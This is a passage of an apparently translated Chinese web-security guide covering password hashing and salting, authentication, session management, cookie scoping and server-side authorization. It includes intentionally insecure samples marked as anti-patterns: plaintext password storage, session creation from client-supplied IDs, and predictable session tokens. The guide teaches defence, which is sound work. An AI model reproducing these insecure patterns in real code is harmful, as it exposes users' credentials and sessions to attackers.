有關一般最佳實踐的一個列表,OWASP 傳輸層保護速查表 包含了一些寶貴的提示。
驗證您的配置
最後一步是驗證您的配置。也有一個有用的線上工具可以做到這一點。您可以訪問 SSL 實驗室的 SSL 伺服器測試 來深入分析您的配置並驗證沒有任何配置錯誤。由於該工具會隨著新攻擊被發現和協議更新而更新,因此建議每隔幾個月運行一次。
總結
- 全部使用 HTTPS!
- 使用 HSTS 強制執行
- 如果你打算信任普通網頁瀏覽器,你將需要來自受信任的憑證機構的憑證
- 保護您的私鑰
- 使用配置工具來幫助採用安全的 HTTPS 配置
- 在 cookie 中設置「secure」標誌
- 謹慎不要在 URL 中洩漏敏感數據
- 啟用 HTTPS 後,請驗證您的服務器配置,並每隔幾個月進行驗證
哈希和鹽化您的使用者密碼
在開發應用程序時,您需要做的不僅僅是保護資產免受攻擊者的侵害。您通常需要保護用戶免受攻擊者的侵害,甚至免受自己的侵害。
生活在危險中
編寫密碼驗證的最明顯方法是將用戶名和密碼存儲在表格中,然後對其進行查找。 絕對不要這樣做
-- SQL CREATE TABLE application_user ( email_address VARCHAR(100) NOT NULL PRIMARY KEY, password VARCHAR(100) NOT NULL ) # python def login(conn, email, password): result = conn.cursor().execute( "SELECT * FROM application_user WHERE email_address = ? AND password = ?", [email, password]) return result.fetchone() is not None
這樣做是否有效?是否允許有效的用戶進入,並阻止未註冊的用戶進入?是的。但這是一個非常、非常糟糕的主意的原因在於
風險
不安全的密碼存儲會對內部人員和外部人員都造成風險。在前一種情況下,內部人員(例如可以讀取上述 application_user 表的應用程序開發人員或 DBA)現在可以訪問您整個用戶基礎的憑證。人們經常忽視的風險之一是,您的內部人員現在可以在您的應用程序內冒充您的用戶。即使該特定情況並不是特別關注的,將用戶的憑證存儲在未經適當加密保護的情況下引入了一類全新的攻擊向量,這些攻擊向量與您的應用程序完全無關。
我們可能希望情況不是這樣,但事實是用戶會重複使用憑證。當有人第一次使用與他們用於銀行登錄的相同電子郵件地址和密碼註冊您的貓咪圖片標題網站時,您看似風險很低的憑證數據庫就成為存儲金融憑證的工具。如果一名內部惡意員工或外部黑客竊取了您的憑證數據,他們可以將其用於對主要銀行網站的登錄嘗試,直到找到那個使用他們的憑證登錄到 wackycatcaptions.org 的人,並且其中一位您的用戶的賬戶被清空,您至少在某種程度上要負責。
這留下了兩個選擇:要麼安全存儲憑證,要麼根本不存儲。
我可以哈希密碼
如果您選擇了為您的網站創建登錄的路徑,那麼第二個選項對您可能不可用,因此您可能被迫選擇第一個選項。那麼安全存儲憑證需要什麼?
首先,您絕不希望存儲密碼本身,而是存儲密碼的 哈希值。加密哈希算法是從輸入到輸出的單向轉換,從中幾乎不可能恢復原始輸入。稍後會詳細介紹 "幾乎不可能" 這個詞組。例如,您的密碼可能是 "littlegreenjedi"。使用帶有 鹽 "12345678"(稍後會講到鹽)和默認命令行選項的 Argon2,結果是十六進制的 9b83665561e7ddf91b7fd0d4873894bbd5afd4ac58ca397826e11d5fb02082a1
。現在您根本不是在存儲密碼,而是在存儲這個哈希。要驗證用戶的密碼,只需對他們發送的密碼文本應用相同的哈希算法,如果匹配,則知道密碼是有效的。
那麼,我們完成了,對吧?嗯,不完全是。現在的問題是,假設我們不變化鹽,每個使用密碼“littlegreenjedi”的用戶在我們的數據庫中將有相同的哈希。許多人只是重複使用他們的舊密碼。使用最常出現的密碼及其變體生成的查找表可以用來有效地逆向工程哈希密碼。如果攻擊者得到了你的密碼存儲,他們只需將查找表與你的密碼哈希進行交叉參考,統計上很可能在很短的時間內提取出大量的憑證。
關鍵是在密碼哈希中添加一些不可預測性,以使其不易逆向工程。一個適當生成的鹽可以提供這種效果。
加點鹽
鹽是在密碼哈希之前添加的一些額外數據,以便給定密碼的兩個實例不具有相同的哈希值。真正的好處在於它增加了給定密碼的可能哈希值的範圍,超出了事先計算它們的實用範圍。突然間,“littlegreenjedi”的哈希不能再被預測了。如果我們使用鹽串“BNY0LGUZWWIZ3BVP”,然後再次使用Argon2進行哈希,我們會得到67ddb83d85dc6f91b2e70878f333528d86674ecba1ae1c7aa5a94c7b4c6b2c52
。另一方面,如果我們使用“M3WIBNKBYVSJW4ZJ”,我們會得到64e7d42fb1a19bcf0dc8a3533dd3766ba2d87fd7ab75eb7acb6c737593cef14e
。現在,如果攻擊者得到了密碼哈希存儲,則對密碼進行暴力破解將會更加昂貴。
鹽不需要像加密或混淆那樣的特殊保護。它可以與哈希一起存放,甚至可以與之編碼,就像bcrypt的情況一樣。如果您的密碼表或文件落入攻擊者手中,鹽的訪問權不會幫助他們使用查找表對哈希集合發動攻擊。
鹽應該是每個用戶全局唯一的。OWASP建議如果您可以管理的話使用32位或64位的鹽,NIST要求至少128位。UUID肯定可以工作,盡管可能有些東西過於複雜,但通常很容易生成,但存儲成本很高。哈希和鹽是一個很好的開始,但正如我們下面將看到的那樣,即使這可能還不夠。
使用值得的哈希
不幸的是,所有哈希算法並不是平等的。SHA-1和MD5長期以來一直是常見的標準,直到發現了一種低成本碰撞攻擊。幸運的是,有很多低碰撞且速度較慢的替代方案。是的,慢。一個較慢的算法意味著暴力攻擊需要更長的時間,因此成本更高。
現今被廣泛認為是最佳的可用演算法為 scrypt 和 bcrypt。因為當今的 SHA 演算法和 PBKDF2 對於使用 GPU 的攻擊抵抗能力較差,它們可能不是長期策略的好選擇。另外一個注意事項:從技術上來說,Argon2、scrypt、bcrypt 和 PBKDF2 都是使用「金鑰派生函數」以及「金鑰延展」技術,但就我們的目的而言,我們可以將它們視為創建雜湊的機制。
雜湊演算法 | 用於密碼嗎? |
---|---|
scrypt | 是 |
bcrypt | 是 |
SHA-1 | 否 |
SHA-2 | 否 |
MD5 | 否 |
PBKDF2 | 否 |
Argon2 | 觀察(參見側邊欄) |
除了選擇適當的演算法外,您還希望確保正確配置它。金鑰派生函數具有可配置的迭代次數,也稱為「工作因子」,因此隨著硬件變得更快,您可以增加破解它們所需的時間。 OWASP 在其密碼存儲速查表中提供了有關函數和配置的建議。如果您希望使應用程序更具未來性,您可以將配置參數添加到密碼存儲中,以及雜湊和鹽。這樣,如果您決定增加工作因子,您可以在不破壞現有用戶或不必一次性遷移的情況下進行。通過在存儲中包含演算法的名稱,您甚至可以同時支持多個演算法,從而使您能夠演變遠離被淘汰的演算法,轉向更強大的演算法。
再次哈希
實際上,上面的代碼唯一的變化是,不再將密碼以明文形式存儲,而是將鹽、雜湊和工作因子存儲起來。這意味著當用戶首次選擇密碼時,您將需要生成一個鹽並將密碼與之一起雜湊。然後,在登錄嘗試期間,您將再次使用鹽來生成雜湊,以與存儲的雜湊進行比較。如下:
CREATE TABLE application_user ( email_address VARCHAR(100) NOT NULL PRIMARY KEY, hash_and_salt VARCHAR(60) NOT NULL ) def login(conn, email, password): result = conn.cursor().execute( "SELECT hash_and_salt FROM application_user WHERE email_address = ?", [email]) user = result.fetchone() if user is not None: hashed = user[0].encode("utf-8") return is_hash_match(password, hashed) return False def is_hash_match(password, hash_and_salt): salt = hash_and_salt[0:29] return hash_and_salt == bcrypt.hashpw(password, salt)
上面的示例使用了 python bcrypt 库,它會為您在雜湊中存儲鹽和工作因子。如果您打印出hashpw()
的結果,您可以看到它們嵌入在字符串中。但不是所有的庫都是這樣工作的。有些會輸出一個原始的雜湊,沒有鹽和工作因子,需要您額外將它們存儲在雜湊中。但結果是一樣的:您使用帶有工作因子的鹽,導出雜湊,並確保它與最初在創建密碼時生成的雜湊相匹配。
最後的提示
這可能很明顯,但上述所有建議僅適用於您控制的服務中存儲密碼的情況。如果您代表用戶存儲密碼以訪問另一個系統,則您的工作就會更加困難。您最好的選擇是不要這樣做,因為您只能存儲密碼本身,而不是哈希。理想情況下,第三方將能夠支持一個更適合此情況的機制,如SAML、OAuth或類似的機制。如果不能,您需要非常仔細地考慮如何存儲它,存儲在哪裡以及誰可以訪問它。這是一個非常複雜的威脅模型,很難正確處理。
許多網站對密碼的長度設限不合理。即使您正確地哈希和鹽化,如果您的密碼長度限制太小,或者允許的字符集太狹窄,則可能大大減少可能的密碼數量,增加密碼被暴力破解的概率。最終目標不是長度,而是熵,但由於您無法有效地強制您的用戶如何生成他們的密碼,因此以下方法可以讓您處於一個相當良好的狀態
- 最少12個字母、數字和符號 [1]
- 設置一個很長的最大值,例如100個字符。OWASP建議將其最多限制為160個字符,以避免由於傳入非常長的密碼而導致的拒絕服務攻擊的可能性。您將不得不決定這是否真的是您應用程序的一個關注點
- 為您的用戶提供某種文本,建議如果可能的話,他們
- 使用密碼管理器
- 隨機生成一個長密碼,並且
- 不要將密碼重複使用於另一個網站
- 不要阻止用戶將密碼粘貼到密碼字段中。這將使許多密碼管理器無法使用
如果您的安全要求非常嚴格,那麼您可能希望超越密碼策略,並尋找像雙因素認證這樣的機制,以便您不要過度依賴密碼進行安全。NIST和Wikipedia都對字符長度和集合限制對熵的影響有非常詳細的解釋。如果您資源有限,您可以根據GPU集群的速度和密鑰空間,對入侵您系統的成本進行相當具體的定義,但對於大多數情況而言,這種細緻程度並不是找到適當的密碼策略所必要的。
總結
- 對所有密碼進行哈希和鹽化處理
- 使用被認可為安全且足夠緩慢的演算法。
- 理想情況下,使您的密碼存儲機制可配置,以便可以進行演進。
- 避免存儲外部系統和服務的密碼。
- 謹慎設置不要太小的密碼大小限制,或者太狹窄的字符集限制。
安全地驗證使用者
如果我們需要了解用戶的身份,例如控制誰接收特定內容,我們需要提供某種形式的身份驗證。如果我們希望在用戶驗證後在請求之間保留有關用戶的信息,我們還需要支持會話管理。儘管這兩個問題是許多功能齊全的框架中廣為人知並得到支持,但它們的實現方式經常不正確,因此它們已經成為OWASP十大榜單中的第二名。
有時會將身份驗證與授權混淆。 身份驗證確認用戶是否為其聲稱的人。例如,當您登錄您的銀行時,您的銀行可以驗證您是否真的是您,而不是試圖竊取您銷售有標題的貓圖片網站賺取的財富的攻擊者。 授權定義了用戶是否被允許做某事。您的銀行可能使用授權來允許您查看您的透支限額,但不允許您更改它。會話管理將身份驗證和授權結合在一起。 會話管理使得能夠關聯由特定用戶發出的請求。如果沒有會話管理,用戶將不得不在他們發送到Web應用程序的每個請求期間進行身份驗證。所有這三個元素 - 身份驗證,授權和會話管理 - 都適用於人類用戶和服務。在我們的軟件中將這三個分開,可以減少複雜性,從而降低風險。

有許多進行身份驗證的方法。無論您選擇哪種方法,都明智地嘗試尋找一個提供您所需功能的現有成熟框架。這些框架通常已經在長時間內接受了嚴格審查,並避免了許多常見的錯誤。有用的是,它們通常還附帶其他有用的功能。
從一開始考慮的一個重大問題是如何確保在客戶端將憑據發送到網絡時保持私密性。實現這一點的最簡單,也可以說是唯一的方法,就是遵循我們之前的建議,對所有內容使用HTTPS。
一種選擇是使用HTTP協議中指定的簡單挑戰-響應機制,使客戶端對服務器進行身份驗證。當您的瀏覽器遇到包含有關訪問資源的挑戰信息的401(未經授權)響應時,它將彈出一個窗口提示您輸入您的名稱和密碼,並將它們保存在內存中以供後續請求使用。這種機制有一些弱點,其中最嚴重的是用戶登出的唯一方法是關閉他們的瀏覽器。
一個更安全的選擇,允許您在驗證後管理使用者會話的生命周期,只需通過網頁表單輸入憑據即可。這可以是在數據庫表中查找用戶名並使用我們在哈希化密碼部分中概述的方法比較密碼的哈希值,這只是一個簡單的例子。例如,使用 Devise,一個用於 Ruby on Rails 的流行框架,可以通過在用於表示用戶的模型中註冊一個用於密碼驗證的模塊,並指示框架在處理控制器之前驗證用戶。
# Register Devise’s database_authenticatable module in our User model to # handle password authentication using bcrypt. We can optionally tune the work # factor with the 'stretches' option. class User < ActiveRecord::Base devise :database_authenticatable end # Superclass to inherit from in controllers that require authentication class AuthenticatedController < ApplicationController before_action :authenticate_user! end
了解您的選項
儘管使用用戶名和密碼進行驗證對於許多系統來說效果良好,但這並不是我們的唯一選擇。我們可以依賴外部服務提供商,在那裡用戶可能已經有帳戶來識別他們。我們也可以使用各種不同因素對用戶進行驗證:您知道的東西,例如密碼或 PIN,您擁有的東西,例如您的手機或鑰匙護身符,以及您是的東西,例如您的指紋。根據您的需求,這些選項中的一些可能值得考慮,而其他一些在我們想要添加額外保護層時會有所幫助。
對許多用戶提供方便的一個選擇是允許他們使用在流行服務上的現有帳戶,例如 Facebook、Google 和 Twitter 進行登錄,使用稱為單一登錄 (SSO) 的服務。SSO 允許用戶使用由身份提供者管理的單一身份登錄到不同的系統。例如,當訪問一個網站時,您可能會看到一個按鈕,上面寫著“使用 Twitter 登錄”作為驗證選項。為了實現這一點,SSO 依賴外部服務來管理用戶的登錄並確認他們的身份。用戶從不向我們的網站提供任何憑證。
SSO 可以顯著減少註冊網站所需的時間,並消除用戶記住另一個用戶名和密碼的需求。但是,一些用戶可能更喜歡保持他們對我們網站的使用私密,並且不將其連接到其他地方的身份。其他人可能沒有我們支持的外部提供者的現有帳戶。最好還是允許用戶通過手動輸入信息來註冊。
單一身份驗證因素,例如使用者名稱和密碼,有時並不足以確保使用者的安全。使用其他身份驗證因素可以增加額外的安全層,以保護使用者在密碼被破解的情況下。透過雙因素驗證 (2FA),需要第二個不同的身份驗證因素來確認使用者的身份。如果使用者所知的東西,例如使用者名稱和密碼,被用作第一個身份驗證因素,第二個因素可能是使用者所擁有的東西,例如在他們的手機上使用軟體生成的秘密代碼或者硬體令牌。通過短信文本消息發送給使用者的秘密代碼曾經是一種流行的方法,但現在已經被淘汰,因為存在各種風險。像 Google Authenticator 和其他眾多產品和服務一樣可能更安全,並且相對容易實施,儘管任何選項都會增加應用程序的複雜性,應主要在應用程序保持敏感數據時考慮。
重要操作的重新驗證
身份驗證不僅在登錄時很重要。當使用者執行敏感操作,例如更改密碼或轉帳時,我們還可以使用它提供額外的保護。這可以幫助限制使用者帳戶被破壞的暴露。例如,一些線上商家在您向新添加的送貨地址購買商品時要求您重新輸入信用卡詳細信息。還有必要要求使用者在更新個人資訊時重新輸入密碼。
隱藏使用者是否存在
當使用者輸入其使用者名稱或密碼時出現錯誤,我們可能會看到網站回應如下消息:使用者 ID 未知。透露使用者是否存在可以幫助攻擊者列舉我們系統中的帳戶,以對它們進行進一步的攻擊,或者根據網站的性質,透露使用者擁有帳戶可能會危及其隱私。更好、更通用的回應可能是:使用者 ID 或密碼不正確。
這個建議不僅適用於登錄時。使用者可以通過網絡應用程序的許多其他功能進行列舉,例如註冊帳戶或重設密碼時。警惕這種風險並避免透露不必要的信息是好的。一個替代方法是在使用者輸入其電子郵件地址後,發送一封帶有繼續註冊的連結或帶有密碼重設連結的電子郵件,而不是輸出一個指示帳戶是否存在的消息。
防止暴力攻擊
攻擊者可能會嘗試進行暴力破解攻擊,猜測帳戶密碼,直到找到有效的一個。隨著攻擊者越來越多地使用被稱為僵屍網絡的大型受感染系統來進行攻擊,找到一個有效的解決方案來保護免受這種影響,同時不影響服務連續性是一個具有挑戰性的任務。我們可以考慮許多選項,其中一些我們將在下面討論。與大多數安全決策一樣,每個選項都提供了好處,但也存在著權衡。
一個很好的起點是在一定數量的失敗登錄嘗試之後暫時鎖定用戶,這能夠減少帳戶被入侵的風險,但也可能意外地導致拒絕服務條件,因為攻擊者可以濫用它來鎖定用戶。如果解鎖需要管理員手動解鎖帳戶,這可能會對服務造成嚴重的干擾。此外,帳戶鎖定還可能被攻擊者用來確定帳戶是否存在。不過,這將讓攻擊者難以進行,會阻止許多攻擊。使用10到60秒的短暫鎖定可以是一種有效的威懾,而不會帶來相同的可用性風險。
另一個常見的選項是使用CAPTCHA,它通過提出人類可以解決但計算機不能解決的挑戰來防止自動攻擊。但通常似乎它們提出的挑戰兩者都無法解決。這些可以是有效策略的一部分,但它們越來越不起作用並且受到批評。技術進步使計算機能夠更準確地解決挑戰,並且雇用人力成本低廉。它們還可能對視力和聽力障礙的人造成問題,這是一個重要的考慮因素,如果我們希望我們的網站具有可訪問性。
在那些經常受到暴力破解攻擊的網站上,分層使用這些選項已被證明是一種有效策略。當一個帳戶出現兩次登錄失敗時,可能會向用戶顯示CAPTCHA。在幾次失敗後,帳戶可能會暫時鎖定。如果這個失敗序列再次重複,可能會再次將帳戶鎖定,這次向帳戶所有者發送一封電子郵件,要求他們使用一個秘密鏈接解鎖帳戶。
不要使用默認或硬編碼的憑證
在出貨的軟體中,使用易於猜測的默認憑證對用戶和應用程序都存在著重大風險。雖然這似乎為用戶提供了方便,但實際上與此相反。在嵌入式系統(如路由器和物聯網設備)中經常看到這種情況,一旦連接到網絡,它們立即變得易受攻擊。更好的選擇可能是要求用戶輸入唯一的一次性密碼,然後強制用戶更改它,或者在設置密碼之前阻止外部訪問軟體。
有時候,為了開發和調試的目的,會將硬編碼的憑證添加到應用程序中。出於同樣的原因,這帶來了風險,並且在軟體出貨之前可能會被遺忘。更糟糕的是,用戶可能無法更改或禁用憑證。我們絕不能在軟體中硬編碼憑證。
在框架中
大多數網絡應用程序框架都包括支持各種身份驗證方案的身份驗證實現,還有許多其他第三方框架可供選擇。正如我們之前所說,最好是嘗試找到一個現有的、成熟的框架來滿足您的需求。以下是一些示例,供您開始使用。
框架 | 方法 |
---|---|
Java | Apache Shiro |
OACC | |
Spring | Spring Security |
Ruby on Rails | Devise |
ASP.NET | ASP.NET Core 身份驗證 |
內置身份驗證提供者 | |
Play | play-silhouette |
Node.js | Passport 框架 |
總結
- 在可能的情況下,請使用現有的身份驗證框架,而不是自己創建一個
- 支持符合您需求的身份驗證方法
- 限制攻擊者控制帳戶的能力
- 您可以採取措施防止攻擊來識別或破壞帳戶
- 永遠不要使用默認或硬編碼的憑證
保護使用者會話
作為一種無狀態協議,HTTP 沒有內置的機制來關聯跨請求的用戶數據。會話管理通常用於此目的,無論是對於匿名用戶還是已驗證的用戶。正如我們之前提到的,會話管理既可以應用於人類用戶,也可以應用於服務。
對於攻擊者來說,會話是一個吸引人的目標。如果攻擊者能夠破壞會話管理以劫持已驗證的會話,他們就可以有效地繞過身份驗證。更糟糕的是,通常會看到會話管理以一種使會話更容易落入錯誤手中的方式實現。那麼我們該怎麼做才能做到正確呢?
與身份驗證一樣,最好是使用現有的、成熟的框架來處理會話管理,並根據您的需求進行調整,而不是嘗試從頭開始自己實現它。為了給您一些為什麼重要使用現有框架的想法,讓您專注於根據您的需求使用它,我們將討論會話管理中的一些常見問題,這些問題分為兩類:會話標識生成中的弱點和會話生命周期中的弱點。
生成安全的會話識別符
會話通常是透過在 cookie 內設置一個會話識別碼來創建的,該識別碼將在後續請求中由用戶的瀏覽器發送。這些識別符的安全性取決於它們的不可預測性、唯一性和保密性。如果攻擊者可以通過猜測或觀察獲取會話識別碼,他們可以使用它來劫持用戶的會話。
識別符的安全性可能很容易被削弱,方法是使用可預測的值,這在自定義實現中相當常見。例如,我們可能會看到一個形式為的 cookie
Set-Cookie: sessionId=NzU4NjUtMTQ2Nzg3NTIyNzA1MjkxMg
如果攻擊者登錄了多次並觀察到了 sessionId cookie 的以下序列,會發生什麼情況?
NzU4ODQtMTQ2Nzg3NTIyOTg0NTE4Ng NzU4OTItMTQ2Nzg3NTIzNTQwODEzOQ
攻擊者可能會認識到 sessionId 是 base64 編碼的,並對其進行解碼以觀察其值
75865-1467875227052912 75884-1467875229845186 75892-1467875235408139
並不需要太多的猜測就可以意識到令牌由兩個值組成:最可能是一個序列號,以及當前時間的微秒數。對於攻擊者來說,這種類型的識別符需要很少的努力就可以猜測和劫持會話。儘管這只是一個基本的例子,但其他生成方案並不總是提供更多保護。攻擊者可以利用免費提供的統計分析工具來提高猜測更複雜令牌的機會。使用可預測的輸入,例如當前時間或用戶的 IP 地址來生成令牌,對於此目的來說是不夠的。那麼我們如何安全地生成會話識別符呢?
為了極大地減少攻擊者猜測令牌的機會,OWASP 的Session Management Cheat Sheet建議使用一個至少為 128 位(16 字節)長的會話識別符,該識別符是使用安全的偽隨機數生成器生成的。例如,Java 和 Ruby 都有名為 SecureRandom 的類,可以從 /dev/urandom 等來源獲取偽隨機數。
一些會話管理實現不是使用識別符來查找有關用戶的信息,而是將有關用戶的信息放在 cookie 本身中,以消除在數據存儲中進行查找的成本。除非使用加密算法來確保數據的保密性、完整性和真實性,否則這可能會導致更多問題。
將任何有關使用者的資訊存儲在 cookie 內的決定都是爭議的焦點,不應輕率對待。作為一項原則,將發送到 cookie 內的資訊限制為絕對必要的內容。永遠不要在 cookie 內存儲有關使用者的個人身份信息或機密信息,即使在使用加密時也不應如此。如果資訊包括使用者的用戶名或其角色和權限級別,則必須防止攻擊者篡改資料以繞過授權或劫持其他使用者的帳戶的風險。如果選擇在 cookie 內存儲此類信息,請尋找一個已經經受專家審查並減輕了這些風險的現有框架。
不要公開會話識別符
使用 HTTPS 將有助於防止有人竊聽網絡流量以窺探會話識別符,但有時會以其他方式意外洩漏。在一個典型的例子中,航空公司客戶將包含客戶會話識別符的參數的鏈接發送給朋友以查看航空公司網站上的搜索結果。朋友突然能夠作為該客戶預訂航班。
顯然,在 URL 中暴露會話識別符是有風險的。它可能會被不知情地發送給像上面例子中那樣的第三方,如果用戶點擊指向外部網站的鏈接,它可能會在 Referer 標頭中暴露,或者被記錄在網站的日誌中。使用 cookie 是這個目的的更好選擇,因為它們不會以這種方式暴露。還常見到會話識別符在自定義 HTTP 標頭甚至是 POST 請求的正文參數中發送。無論您選擇做什麼,請確保會話識別符不應在 URL、日誌、引薦者或任何攻擊者可能訪問到的地方暴露。
保護您的Cookie
當 cookie 用於會話時,我們應該採取一些簡單的預防措施,以確保它們不會被意外暴露。有四個屬性對於這個目的非常重要:Domain、Path、HttpOnly 和 Secure。
Domain 將 cookie 的範圍限制為特定的域和其子域,Path 進一步將範圍限制為特定路徑和其子路徑。當未明確設置時,這兩個屬性的默認值設置得相當嚴格。未明確設置時,Domain 的默認值只允許將 cookie 發送到起始域和其子域,而 Path 的默認值將將 cookie 限制在設置 cookie 的資源的路徑及其子路徑中。
將Domain設置為一個較不限制的值可能存在風險。假設我們在訪問payments.martinfowler.com以支付新的書籍訂閱服務時將Domain設置為martinfowler.com。這將導致cookie在後續請求中被發送到martinfowler.com及其所有子域。除了可能無需將cookie發送到所有子域之外,如果我們無法控制每個子域及其安全性(例如,它們是否使用HTTPS?),這可能有助於攻擊者捕獲cookie。如果我們的用戶訪問evil.martinfowler.com會發生什麼情況?

Path屬性也應盡可能設置為限制性。如果僅在登錄後訪問/secret/路徑及其子路徑時需要會話標識符,將其設置為/secret/是個好主意。
另外兩個屬性,Secure和HttpOnly,控制著cookie的使用方式。 Secure標誌表示瀏覽器僅在使用HTTPS時發送cookie。 HttpOnly標誌指示瀏覽器不應該通過JavaScript或其他客戶端腳本訪問cookie,這有助於防止被惡意代碼竊取。
綜合考慮,我們的cookie可能如下所示
Set-Cookie: sessionId=[top secret value]; path=/secret/; secure; HttpOnly; domain=payments.martinfowler.com
上述語句的淨效果將是一個禁用了客戶端腳本訪問權限且僅對https://payments.martinfowler.com/secret/下的請求可用的cookie。通過限制cookie的範圍,攻擊面變得更小。
管理會話生命週期
適當管理會話的生命周期將減少其被破壞的風險。如何管理會話取決於您的需求。例如,銀行的會話生命周期可能與我們用於標題貓圖片的網站大不相同。
我們可以選擇在用戶首次訪問我們的網站時開始一個會話,或者我們可以決定等到用戶進行身份驗證。無論您選擇做什麼,更改會話特權級別時都存在風險。例如,如果攻擊者能夠將用戶的會話標識符設置為攻擊者已知的特權較低的會話,例如在cookie或隱藏的表單字段中,那會發生什麼情況?如果攻擊者能夠欺騙用戶進行登錄,他們突然控制了一個更高特權的會話。這是一種稱為會話固定的攻擊。為了避免我們的用戶陷入這個陷阱,我們可以做兩件事情。首先,我們應該在用戶進行身份驗證或提升其特權級別時始終創建一個新的會話。其次,我們應該只創建我們自己的會話標識符並忽略無效的標識符。我們永遠不希望這樣做
// pseudocode. NEVER DO THIS if (!isValid(sessionId)) { session = createSession(sessionId); }
當一個會話持續活躍的時間越長,攻擊者就越有可能能夠獲取它。為了降低這種風險並保持我們的會話表乾淨,我們可以對那些閒置一段時間的會話設置超時。超時的時間長度取決於您的風險容忍度。在我們的圖片網站上,可能只需要在一個月甚至更長時間之後這樣做。另一方面,一家銀行可能會對會話閒置10分鐘後採取嚴格的超時策略作為安全預防措施。
我們的用戶可能不僅使用他們獨占訪問權的電腦,或者他們可能更喜歡不保持會話登錄狀態。始終確保有一種可見且易於使用的方式來登出。當用戶登出時,我們必須指示瀏覽器銷毀他們的會話cookie,表示它已過期。例如,基於我們之前設置的cookie
Set-Cookie: sessionId=[top secret value]; path=/secret/; secure; HttpOnly; domain=payments.martinfowler.com; expires=Thu, 01 Jan 1970 00:00:00 GMT
最後一個考慮因素是提供某種方式讓用戶在他們意外忘記從不屬於自己的系統登出,甚至懷疑他們的帳戶已遭受入侵時終止其活動會話。處理這個問題的一種簡單方法是當用戶更改密碼時終止其所有會話。還有幫助用戶查看其活動會話列表的功能,以幫助他們識別何時存在風險。
驗證它
在認證和會話管理中涉及許多不同的考慮因素。為了確保我們沒有犯任何錯誤,查看OWASP的ASVS(應用安全性驗證標準項目)是很有幫助的,這是在確保要求或我們的實現中沒有漏洞時的無價資源。該標準有關認證的整個部分以及會話管理的另一個部分。
ASVS建議基於三個層次的需求進行安全保護:第一層將有助於防禦一些基本漏洞,第二層適用於保持一些敏感數據的普通站點,第三層我們可能會在高度敏感的應用程序中看到,例如醫療保健或金融服務。我們描述的大多數安全預防措施將符合第二層。
在框架中
我們只概述了在會話標識符生成和會話生命週期管理中出現的一些風險。幸運的是,會話管理內置於大多數Web應用程序框架甚至一些服務器實現中,提供了許多成熟的選擇,而不是冒著自己實現的風險。
框架 | 方法 |
---|---|
Java | Tomcat |
Jetty | |
Apache Shiro | |
OACC | |
Spring | Spring Security |
Ruby on Rails | Ruby on Rails |
Devise | |
ASP.NET | ASP.NET Core 身份驗證 |
內置身份驗證提供者 | |
Play | play-silhouette |
Node.js | Passport 框架 |
總結
- 使用現有的會話管理框架,而不是創建自己的
- 保持會話識別符號的秘密,不要在URL或日誌中使用它們
- 使用屬性保護會話 cookie 以限制其範圍
- 在不存在會話或使用者更改其特權級別時創建新的會話
- 永遠不要使用未由自己創建的 id 創建會話
- 確保使用者有方法登出並終止其現有會話
授權操作
我們討論了身份驗證如何確立使用者或系統的身份(有時稱為主體或角色)。在將該身份用於評估是否應允許或拒絕操作之前,它並不提供太多價值。強制執行允許或拒絕的這個過程是授權。授權通常表達為對特定資源執行特定操作的權限,其中資源可以是頁面、文件系統上的文件、REST 資源,甚至整個系統。
在伺服器上授權
程序員可能犯的最重要的錯誤之一是隱藏能力,而不是在服務器上明確執行授權。例如,僅僅將“刪除用戶”按鈕從非管理員用戶隱藏起來是不夠的。來自用戶的請求是不可信的,因此服務器代碼必須執行刪除的授權。
此外,客戶端不應將授權信息傳遞給服務器。相反,客戶端只能允許傳遞先前在服務器上生成且不可猜測的臨時身份信息,例如會話 id(有關會話管理實踐,請參閱上述)。同樣,服務器不應信任來自客戶端的任何身份、權限或角色,除非明確驗證。
默認拒絕
本文的前面部分中,我們討論了積極驗證(或白名單)的價值。授權也適用相同的原則。您的授權機制應始終默認拒絕操作,除非明確允許。同樣,如果有些操作需要授權,而其他操作不需要,默認拒絕並覆蓋不需要權限的任何操作更安全。在這兩種情況下,提供一個安全的默認值可以限制如果您忽略為特定操作指定權限所造成的損害。
授權資源上的操作
一般而言,您會遇到兩種不同類型的授權需求:全域權限和資源級別權限。您可以將全域權限視為具有隱含系統資源。然而,全域和資源權限之間的實現細節往往不同,如下面的例子所示。
因為全域權限的資源是隱含的,或者,如果您喜歡的話,是不存在的,所以實現往往比較直接。例如,如果我想要添加一個權限檢查來關閉我的伺服器,我可以這樣做
public OperationResult shutdown(final User callingUser) { if (callingUser != null && callingUser.hasPermission(Permission.SHUTDOWN)) { doShutdown(); return SUCCESS; } else { return PERMISSION_DENIED; } }
另一種使用 Spring Security 的聲明性能力的實現可能是這樣的
@PreAuthorize("hasRole('ROLE_SHUTDOWN')") public void shutdown() throws AccessDeniedException { doShutdown(); }
資源授權通常更複雜,因為它驗證演員是否能夠針對特定資源採取特定動作。例如,使用者應該能夠修改他們自己的個人檔案,並且僅限於他們自己的個人檔案。同樣,我們的系統必須驗證呼叫者是否有權在影響的特定資源上採取行動。
管理資源授權的規則是特定於領域的,並且可能相當複雜,無論是實現還是維護。現有的框架可能提供協助,但您需要確保所使用的框架具有足夠的表達能力來捕捉您所需的複雜性,同時又不會過於複雜難以維護。
一個例子可能是這樣的
public OperationResult updateProfile(final UserId profileToUpdateId, final ProfileData newProfileData, final User callingUser) { if (isCallerProfileOwner(profileToUpdateId, callingUser)) { doUpdateProfile(profileToUpdateId, newProfileData); return SUCCESS; } else { return PERMISSION_DENIED; } } private boolean isCallerProfileOwner(final UserId profileToUpdateId, final User callingUser) { //Make sure the user is trying to update their own profile return profileToUpdateId.equals(callingUser.getUserId()); }
或者聲明性地,再次使用 Spring Security
@PreAuthorize("hasPermission(#updateUserId, 'owns')") public void updateProfile(final UserId updateUserId, final ProfileData profileData, final User callingUser) throws AccessDeniedException { doUpdateProfile(updateUserId, profileData); }
使用策略授權行為
從識別到執行動作的整個過程基本上可以總結如下
- 一個匿名的演員通過驗證成為一個已知的主體
- 策略確定該主體是否可以針對一個資源採取一個動作。
- 假設策略允許該動作,則執行該動作。
策略包含了回答動作是否允許的邏輯,但是它作出評估的方式因應應用程式的需求而有很大的差異。雖然我們無法涵蓋所有情況,但以下部分將總結一些常見的授權方法,並提供每種方法最適用的時機的一些想法。
實施RBAC
授權的最常見變體可能是基於角色的存取控制(RBAC)。正如其名稱所示,使用者被分配角色,而角色被分配權限。使用者會繼承他們被分配的任何角色的權限。行動將被驗證以檢查權限。
也許你正在思考所有這些間接性的價值:你只在乎克里斯汀,你的管理員,能夠刪除使用者,其他使用者則不能。為什麼不像以下代碼中一樣檢查克里斯汀的用戶名呢?
